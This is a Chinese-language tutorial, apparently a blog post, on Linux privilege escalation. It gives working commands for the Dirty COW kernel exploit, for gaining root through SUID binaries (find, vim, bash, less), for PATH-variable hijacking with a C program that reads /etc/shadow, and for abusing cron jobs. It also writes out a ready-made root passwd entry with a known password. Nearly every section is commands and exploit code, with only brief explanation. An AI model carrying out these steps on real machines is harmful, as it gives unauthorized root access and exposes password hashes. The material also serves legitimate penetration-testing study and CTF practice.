文章目录

  • 操作系统内核提权
  • 提权方法
  • 脏牛(CVE-2016-5195)复现
  • suid提权
  • find
  • vim
  • Bash
  • Less和More
  • 劫持环境变量提权
  • corn(计划任务)提权
  • refer


操作系统内核提权

提权方法

步骤一

uname -a

内核版本为3.19

Linux sudo 提权命令_Linux sudo 提权命令

步骤二 查找可用exp

https://www.exploit-db.com/

Linux sudo 提权命令_vim_02


按照里面的步骤提权即可

Linux sudo 提权命令_环境变量_03

脏牛(CVE-2016-5195)复现

提权为root权限的EXP一:链接 提权为root权限的EXP二:链接

exp1复现

# 下载到本地编译
gcc -pthread dirty.c -o dirty -lcrypt

# 执行
./dirty 密码

# 切换用户
su firefart

exp2复现

# 下载编译
make
# 如果成功的话会返回一个root的 shell,失败则返回fail
./dcow -s

suid提权

SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

更多命令提权方法可以参考GTFOBins

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

再加个匹配

find / -user root -perm -4000 -print 2>/dev/null | grep -E "nmap|vim|find|bash|more|less|nano|cp"

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

# 生成一个密码为123的密码
openssl passwd -1 -salt '12345678' 123
# 结果
$1$12345678$tRy4cXc3kmcfRZVj4iFXr/
# 补全
toor:$1$12345678$tRy4cXc3kmcfRZVj4iFXr/:0:0:root:/toor:/bin/bash

find

给find命令s权限

whereis find
chmod u+s /bin/find

开始提权

find . -exec /bin/sh -p \; -quit
find . -exec vim /etc/passwd \; -quit
# 添加toor:$1$12345678$tRy4cXc3kmcfRZVj4iFXr/:0:0:root:/toor:/bin/bash到最后
su toor
# 密码:123

Linux sudo 提权命令_vim_04

vim

添加权限

chmod u+s /usr/bin/vim.basic

vim.basic 提权

vim.basic /etc/passwd
# 将生成的密码添加到最后
# :wq! 强制保存

Linux sudo 提权命令_安全漏洞_05

su toor
# 密码:123

Linux sudo 提权命令_安全漏洞_06


vim.tiny提权

vim.tiny
:set shell=/bin/sh
:shell

Bash

bash -p ; -quit

bash-5.1# whoami
root

Linux sudo 提权命令_bash_07

Less和More

less /etc/passwd
!/bin/sh

劫持环境变量提权

c 源代码

#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

以 root 进行编译和权限设置

gcc suid.c -o suid-exp

设置 suid 位

chmod 4775 suid-exp

Linux sudo 提权命令_安全漏洞_08


用该命令可以发现这个文件有suid位

find / -perm -u=s -type f 2>/dev/null

Linux sudo 提权命令_环境变量_09


劫持环境变量提权,因为 system 函数是继承环境变量 可以通过替换环境变量可以达到执行任意命令。

创建一个文件

echo "/bin/bash">cat && chmod 777 cat

把当前 tmp 目录增加到环境变量

export PATH=.:$PATH

设置了 PATH 执行 cat 的时候会优先从当前目录下查找程序。所以 cat 命令会被劫持

Linux sudo 提权命令_安全漏洞_10

corn(计划任务)提权

Cron Jobs 计划任务 通过 /etc/crontab 文件,可以设定系统定期执行的任务。
crontab 文件只能是 root 权限 进行编辑,原理就是查看有没有可以修改的文件,然后修改内容提权

新建一个test.py

import os
os.system('echo "123">/tmp/log')

将其添加到计划任务,执行命令crontab -e,添加如下内容,每隔一分钟执行一次test.py

* * * * * python3 /tmp/test.py

Linux sudo 提权命令_安全漏洞_11


重启该服务

service cron restart

等待一分钟后,该脚本被成功执行

Linux sudo 提权命令_Linux sudo 提权命令_12

现在开始提权
修改文件内容

os.system('/bin/chmod u+s /bin/dash')

Linux sudo 提权命令_bash_13


过一段时间可以发现dash命令已经有了suid权限

Linux sudo 提权命令_vim_14


成功提权

dash -p

Linux sudo 提权命令_安全漏洞_15

refer

GTFOBinshttps://github.com/diego-treitos/linux-smart-enumerationhttps://github.com/sleventyeleven/linuxprivcheckerhttps://github.com/mzet-/linux-exploit-suggester